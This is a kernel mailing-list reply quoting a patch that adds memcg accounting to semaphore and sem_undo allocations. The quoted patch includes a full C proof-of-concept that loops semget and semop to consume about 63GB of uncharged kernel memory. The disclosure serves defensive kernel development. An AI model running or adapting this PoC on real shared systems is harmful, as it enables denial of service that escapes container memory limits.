+Vasily Averin

On Thu, Jul 15, 2021 at 12:15 AM Yutian Yang [off-list ref] wrote:

This patch adds accounting flags to semaphores and sem_undo allocation
sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under
default sysctl settings by exploiting the unaccounted objects. She could
allocate up to 32,000 unaccounted semaphore sets with up to 32,000
unaccounted semaphore objects in each set. She could further allocate one
sem_undo unaccounted object for each semaphore set.

The following code shows a PoC that takes ~63GB unaccounted memory, while
it is charged for only less than 1MB memory usage. We evaluate the PoC on
QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster.

/*------------------------- POC code ----------------------------*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int main(int argc, char *argv[]) {
  int err, semid;
  struct sembuf sops;
  for (int i = 0; i < 31200; ++i) {
    semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
    if (semid == -1) {
      errExit("semget");
    }
    sops.sem_num = 0;
    sops.sem_op = 1;
    sops.sem_flg = SEM_UNDO;
    err = semop(semid, &sops, 1);
    if (err == -1) {
      errExit("semop");
    }
  }
  while(1);
  return 0;
}
/*-------------------------- end --------------------------------*/

Thanks!

Yutian Yang,
Zhejiang University

Signed-off-by: Yutian Yang <redacted>

Thanks for the patch Yutian. I remember patch from Vasily regarding
memcg charging of similar objects.

Vasily, what's the status of your patch?